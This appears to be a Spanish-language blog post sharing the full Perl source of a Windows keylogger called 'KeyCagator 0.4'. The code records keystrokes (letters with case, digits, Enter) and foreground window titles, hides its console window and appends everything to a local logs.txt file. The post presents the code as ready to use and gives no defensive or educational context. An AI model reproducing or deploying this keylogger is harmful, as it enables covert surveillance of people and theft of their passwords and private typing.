keylogger 0.4 en perl

Bueno , este es un keylogger en perl que hice con las siguientes opciones

* Captura teclas reconociendo mayusculas y minusculas
* Muestra ventanas en las que se esta trabajando

Pocas opciones pero muy bueno


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!usr/bin/perl
#KeyCagator 0.4
#
 
use Win32::API;
use Win32::GuiTest qw(GetForegroundWindow GetWindowText);
 
my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
my $tengo = 0;   
 
if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}
 
while (true) {
 
capture_windows();
capture_keys();
 
}
 
sub capture_windows {
 
my $win1 = GetForegroundWindow();         
my $win2 = GetForegroundWindow(); 
 
if($win1 != $win2){
my $nombre = GetWindowText($win1); 
chomp($nombre);
if ($nombre ne "") {
#print "\n\n[".$nombre."]\n\n";
savefile("logs.txt","\n\n[".$nombre."]\n\n");
}
}
 
}
   
sub capture_keys {
 
my $test1;
my $test2;
 
 
capture_windows();
 
for my $num(0x30..0x39) { #Numbers   
 
capture_windows();
 
if (dame($num)) {
#print "number : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
}
 
if (dame(0x14)) {
$test1 = 1;
$tengo++;
}
 
for my $num(0x41..0x5A) {   #Words
 
 
capture_windows();
 
if (dame($num)) {
 
 
if (dame(0x0d)) {
savefile("logs.txt","\n\n[enter]\n\n");
}
 
unless (verpar($tengo) eq 1) {
#print "MAYUSCULA : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
 
if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
#print "MAYUSCULA : ".chr($num)."\n";
$test2 = 1;
}
 
unless ($test1 eq 1 or $test2 eq 1) {
if ($num >= 0x41) {
if ($num <= 0x5A) {
if (verpar($tengo) eq 1) {
#print "MINUSCULA : ".chr($num+32)."\n";
savefile("logs.txt",chr($num+32));
}
}
}
} 
}
}
 
}
 
sub dame {
return($come->Call(@_) & 1);
}
 
sub savefile {
open (SAVE,">>".$_[0]);
print SAVE $_[1];
close SAVE; 
}
 
sub verpar{ 
return ($_[0] % 2 == 0) ? "1" : "2";
}
 
 
#Credits : to explorer for helpme with the function verpar()
#Mail : lepuke[at]hotmail[com]
#Blog : doddy-hackman.blogspot.com
# ¿ The End ?
By pr0xxx0r - Publicado el 3/03/2020
Categoría:

0 comentarios: sobre keylogger 0.4 en perl

Publicar un comentario para keylogger 0.4 en perl

:a   :b   :c   :d   :e   :f   :g   :h   :i   :j   :k   :l   :m   :n   :o   :p   :q   :r   :s   :t

Suscribirse a: Enviar comentarios
Calculando Tiempo
Alienspace Theme © Copyright 2017 By Proxor
Mi Ping en TotalPing.com FeedBurner FeedBurner FeedBurner FeedBurner FeedBurner